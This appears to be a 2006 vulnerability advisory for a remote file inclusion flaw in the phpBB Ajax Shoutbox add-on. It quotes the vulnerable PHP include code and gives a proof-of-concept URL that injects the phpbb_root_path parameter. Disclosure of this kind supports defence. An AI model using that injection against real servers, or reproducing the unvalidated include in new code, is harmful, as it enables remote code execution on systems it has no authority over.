phpBB Ajax Shoutbox <= 0.0.5 Remote File Include Vulnerability

2006-10-13T00:00:00
ID SECURITYVULNS:DOC:14676
Type securityvulns
Reporter Securityvulns
Modified 2006-10-13T00:00:00

Description

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* Title: phpBB Ajax Shoutbox <= 0.0.5 (phpbb_root_path) Remote File Inclusion

* Author/Discovery: boecke

* Vulnerability Type: Remote File Inclusion

* Risk: High Risk

* Software Affected: phpBB Ajax Shoutbox <= 0.0.5

* Release Source: http://usuarios.lycos.es/kinfule/download.php?id=16

* Release Page @ phpBB.com : http://www.phpbb.com/phpBB/viewtopic.php?t=389032

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* Literally shouts to: str0ke and henrik

* Don't promote Google-ism!

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[ Vulnerable Code: ] $phpbb_root_path = ( !@$phpbb_root_path ) ? './' : $phpbb_root_path; require_once($phpbb_root_path . 'extension.inc'); require_once($phpbb_root_path . 'common.'.$phpEx);

[ Proof on Concept: ] http://localhost/phpBB2/shoutbox.php?phpbb_root_path=

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